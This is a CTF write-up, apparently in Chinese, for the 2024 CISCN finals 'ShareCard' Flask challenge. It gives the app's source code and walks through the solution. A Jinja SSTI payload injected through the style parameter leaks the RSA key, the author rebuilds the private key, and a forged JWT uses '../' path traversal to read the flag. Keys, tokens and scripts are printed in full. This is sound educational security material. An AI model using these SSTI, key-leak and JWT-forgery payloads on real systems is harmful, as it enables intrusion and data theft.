2024 CISCN总决赛 ShareCard
ShareCard
源码如下
这段代码的主要功能就是在于创建和显示用户信息卡片
from flask import Flask, request, url_for, redirect, current_app
from jinja2.sandbox import SandboxedEnvironment
from Crypto.PublicKey import RSA
from pydantic import BaseModel
from io import BytesIO
import qrcode
import base64
import json
import jwt
import os#沙盒的一个自定义,允许访问脚本中的所有属性和方法,但是不能调用,类似于不能使用()方法调用
class SaferSandboxedEnvironment(SandboxedEnvironment):def is_safe_attribute(self, obj, attr: str, value) -> bool:return Truedef is_safe_callable(self, obj) -> bool:return False
#Info 类继承自 BaseModel,定义了用户信息的数据结构
class Info(BaseModel):name: stravatar: strsignature: strdef parse_avatar(self):self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()
#自定义的模板渲染方法
def safer_render_template(template_name, **kwargs):env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)return env.from_string(open('templates/'+template_name).read()).render(**kwargs)app = Flask(__name__)
rsakey = RSA.generate(1024)#创建卡片,生成jwt令牌,生成分享链接和二维码,然后渲染到页面上
@app.route("/createCard", methods=["GET", "POST"])
def create_card():if request.method == "GET":return safer_render_template("create.html")if request.form.get('style')!=None:open('templates/style.css','w').write(request.form.get('style'))info=Info(**request.form)if info.avatar not in os.listdir('avatars'):raise FileNotFoundErrortoken = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")share_url = request.url_root + url_for('show_card', token=token)qr_img = BytesIO()qrcode.make(share_url).save(qr_img,'png')qr_img.seek(0)share_img = base64.b64encode(qr_img.getvalue()).decode()return safer_render_template("created.html", share_url=share_url, share_img=share_img)@app.route("/showCard", methods=["GET"])
def show_card():token = request.args.get("token")data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())info = Info(**data)info.parse_avatar()return safer_render_template("show.html", info=info)@app.route("/", methods=["GET"])
def index():return redirect(url_for('create_card'))if __name__ == "__main__":app.run(host="0.0.0.0", port=8888, debug=True)
这题全场一共六支队伍解出,大多数队伍估计都知道大致的思路就是jwt伪造然后进行任意文件读取
漏洞点在
class Info(BaseModel):name: stravatar: strsignature: strdef parse_avatar(self):self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()
只要可以伪造jwt就可以篡改avatar变量,然后进行目录穿越读取flag文件,至于怎么伪造jwt我们可以需要先获取到jwt,此次的jwt是RS256也就是使用公私钥进行加解密
这题爆破是不可能的,因为生成公私钥使用的1024位生成的,密码学里已经是很大了
爆破我也有尝试过使用如下的两个工具
https://github.com/silentsignal/rsa_sign2n
https://github.com/Ganapati/RsaCtfTool
通过rsa_sign2n工具提供两个jwt,可以得到公钥,得到公钥以后使用RsaCtfTool却无法分解n
所以回到题目里,细细的分析一下createCard路由
@app.route("/createCard", methods=["GET", "POST"])
def create_card():if request.method == "GET":return safer_render_template("create.html")if request.form.get('style')!=None:open('templates/style.css','w').write(request.form.get('style'))info=Info(**request.form)if info.avatar not in os.listdir('avatars'):raise FileNotFoundErrortoken = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")share_url = request.url_root + url_for('show_card', token=token)qr_img = BytesIO()qrcode.make(share_url).save(qr_img,'png')qr_img.seek(0)share_img = base64.b64encode(qr_img.getvalue()).decode()return safer_render_template("created.html", share_url=share_url, share_img=share_img)
发现有一个参数style,可以让我们任意写入内容到style.css文件里,并且created.html在模板渲染的时候还会引入style.css
这里也就会造成一个ssti注入,接下来就可以尝试ssti注入了
漏洞是存在的,并且我们输入的{{''.__class__}}
也被写入进了style.css文件里了
接着往后面做就会卡在subclasses
这个报错主要说的就是内置方法__subclasses__
不可被调用
回到代码里就能看到这题加了有沙箱
class SaferSandboxedEnvironment(SandboxedEnvironment):def is_safe_attribute(self, obj, attr: str, value) -> bool:return Truedef is_safe_callable(self, obj) -> bool:return False
只允许我们使用obj和str
,那我们就变换一下思路既然是这样那我们可以不可以直接通过代码的中某个类去获取到rsakey的值
比如说Info类,尝试一下
显示报错Info没有被定义,在这里卡了我很长时间,Info类为什么会显示没有被定义
后来测试发现是因为沙盒的存在所以模板的渲染都是基于沙盒环境实现的,而在进行模板渲染的函数safer_render_template
里面可以发现一个传参规则**kwargs
def safer_render_template(template_name, **kwargs):env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)return env.from_string(open('templates/'+template_name).read()).render(**kwargs)
kwagrs代表的就是模板渲染时是传参的变量,这个变量数组里面的变量是在沙盒环境里可以使用的
试一下
明白了这一点,就能发现showCard路由在渲染模板时传参的就是info
到了这里我们会陷入一个逻辑漏洞里,该怎么让createCard
路由的style参数出现的ssti漏洞影响到showCard
路由呢
看一下show.html文件内容就会明白了,我们如果单纯的想着name和signature去进行ssti漏洞肯定不行的,会直接将我们输入的输出到页面上
但是看<style>
会发现show.html页面也会同样引入style.css文件
师傅们到这里应该就明白了这题该如何操作了吧,开始实操
通过createCard路由的style参数传入
{{info.__class__.parse_avatar.__globals__.rsakey.__dict__}}获取info类的实例,访问info类的parse_avatar方法的全局命名空间,最后在全局命名空间里访问rsakey变量的属性字典
此时提交数据,页面会发生报错
不管它,直接看style.css文件内容,已经写入进去了
然后我们只需要复制一个正常的jwt数据去访问showCard
路由
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWFzZGFzZGFzZCIsImF2YXRhciI6Ilx1ZDgzZVx1ZGQyMy5zdmciLCJzaWduYXR1cmUiOiJhc2Rhc2Rhc2RhcyJ9.Wx3kCfg83T3-raT_zELkr8sRkp2dkyF1HR19lXL7OC4BKMXskhZrIbC5vM0yXNDLh-FsCOBBrvFjz9Nm6E1R9iqHUNP8L4UeyI1hp8BJLv-DlvuqqzVgfirifO9D81gvv5oS_zRt2RrLxhCXb--vUW_paA8-nx-Z1SPs5-0KqpU
接着查看源代码就可以看到rsakey
的属性字典了
通过n,e获取public_key
from Crypto.PublicKey import RSAn = 135090724640422888190864396268520167863763972972834980490348846791091813316639904566923736914509039572330339121217565968856741086620006043262093691346204045938918067791258164547515531501500236304044637909012477965657707457640298545813728996766193759982205727027001942983474993342435639028539304700036784581943
e = 65537
rsa_components = (int(n),int(e))
keypair = RSA.construct(rsa_components)
with open('pubkey.pem', 'wb') as f:f.write(keypair.exportKey())-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAYCXZtMBtuQKas2C4F4pgT6mg
gTwInqxZ1c5dJzH0VYzZRtrUhQS+zKh1RPqMlcrQDkhudsGKnQxwZ20bQ4PXeulb
fW7UEiyFCJOvGZWQTdmR2Zm18hJ6H3iLnbAAeCV4l3v3YuTKaw1PAbzvlGvLSawC
bggWBmcnG9d2D6PtNwIDAQAB
-----END PUBLIC KEY-----
然后使用rsatool.py生成私钥
ius/rsatool: rsatool can be used to calculate RSA and RSA-CRT parameters (github.com)
python rsatool.py -o private.pem -e 65537 -p 11475879863927704233278429505098418671603389840219072011371253004595277451945175358659373194111835265189109758079921278763619138722989315240970639712981509 -q 11771709554493984981536242399986379342043982634651653623481577869445052376380206269975518548279872376310434843661973698302783109583311895911167151209986827
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDAYCXZtMBtuQKas2C4F4pgT6mggTwInqxZ1c5dJzH0VYzZRtrU
hQS+zKh1RPqMlcrQDkhudsGKnQxwZ20bQ4PXeulbfW7UEiyFCJOvGZWQTdmR2Zm1
8hJ6H3iLnbAAeCV4l3v3YuTKaw1PAbzvlGvLSawCbggWBmcnG9d2D6PtNwIDAQAB
AoGBALk+3LPbPkFqGnvlp4keAf3kOC96wth6EvUe0W0aRRxHFS5U8Hwc6wjgAoeK
OMoPpBDc8BqO+KgFuuiyb3oFdXnqT7llWgrOjtTxGZRXe4lUfAyZ/HTSAeLcnSyt
KuWLBIbOYK9y50vhFDOLRc5BdXRjBHfNRi/k+okIveR39AShAkEA2xzurHetTkP2
EJ+U76MsLYcqbJ8dCD58cNLDJA4GIUv78T3Ncm9M6F1hl87JOoyRqna93jtwaX95
UPsdD5ASBQJBAODC6vASwGA1U5Cdeyz7S8VNxnAS5IiS41pvB+TGlt18W41vYvWs
MY3qVsneupBP1+PPDD/5kojKethhqCTcOwsCQFhfEuP8YKlwP430ztzXsrmqCjJE
+jCZAxd96bZg8Zf8TWC+zF2bBimxf+r6O66hgx59RZab4nqqLwO6Q75DHQECQFIz
17sgEI3fUwXEIwWrjuXFcTsSHdU5a79qdkecvhaZYd6Ti2zwolsWBtHkDPW0ze+6
jO9k9sviyhUTemyow0sCQQCFd87R0eeEomZcmNsaYEsuUpa8+54fOliga8KWHodF
kSraMSLggKB9M1bMKfd7iSQAdQf0xl5Ki68x0VzK0Hlf
-----END RSA PRIVATE KEY-----
其实公钥有没有都一样,用私钥可以直接伪造
import jwtprivate_key = """-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDAYCXZtMBtuQKas2C4F4pgT6mggTwInqxZ1c5dJzH0VYzZRtrU
hQS+zKh1RPqMlcrQDkhudsGKnQxwZ20bQ4PXeulbfW7UEiyFCJOvGZWQTdmR2Zm1
8hJ6H3iLnbAAeCV4l3v3YuTKaw1PAbzvlGvLSawCbggWBmcnG9d2D6PtNwIDAQAB
AoGBALk+3LPbPkFqGnvlp4keAf3kOC96wth6EvUe0W0aRRxHFS5U8Hwc6wjgAoeK
OMoPpBDc8BqO+KgFuuiyb3oFdXnqT7llWgrOjtTxGZRXe4lUfAyZ/HTSAeLcnSyt
KuWLBIbOYK9y50vhFDOLRc5BdXRjBHfNRi/k+okIveR39AShAkEA2xzurHetTkP2
EJ+U76MsLYcqbJ8dCD58cNLDJA4GIUv78T3Ncm9M6F1hl87JOoyRqna93jtwaX95
UPsdD5ASBQJBAODC6vASwGA1U5Cdeyz7S8VNxnAS5IiS41pvB+TGlt18W41vYvWs
MY3qVsneupBP1+PPDD/5kojKethhqCTcOwsCQFhfEuP8YKlwP430ztzXsrmqCjJE
+jCZAxd96bZg8Zf8TWC+zF2bBimxf+r6O66hgx59RZab4nqqLwO6Q75DHQECQFIz
17sgEI3fUwXEIwWrjuXFcTsSHdU5a79qdkecvhaZYd6Ti2zwolsWBtHkDPW0ze+6
jO9k9sviyhUTemyow0sCQQCFd87R0eeEomZcmNsaYEsuUpa8+54fOliga8KWHodF
kSraMSLggKB9M1bMKfd7iSQAdQf0xl5Ki68x0VzK0Hlf
-----END RSA PRIVATE KEY-----"""data = {"name": "aasdsasdasd","avatar": "../../../../../flag","signature": "asdasdasdas"
}token = jwt.encode(data, private_key, algorithm='RS256')
print(token)eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWFzZHNhc2Rhc2QiLCJhdmF0YXIiOiIuLi8uLi8uLi8uLi8uLi9mbGFnIiwic2lnbmF0dXJlIjoiYXNkYXNkYXNkYXMifQ.hSeeFUl9TzZtPknKK9opI8Susa4YpXmlvkBao3PdKMjwjDBE5aI7xLxBh3h4rAMmf8g0tCIiZKM-EzWeZhzxnruaA3UfVcG8huSUt0xvQQFEy3nAz3OeCQKkwDiVy0soqWsUuDCHJMvOb7KSvIC7dAzUqiKj0GuBHuJkJdLXIpU
然后访问showCard?token=
解码得到flag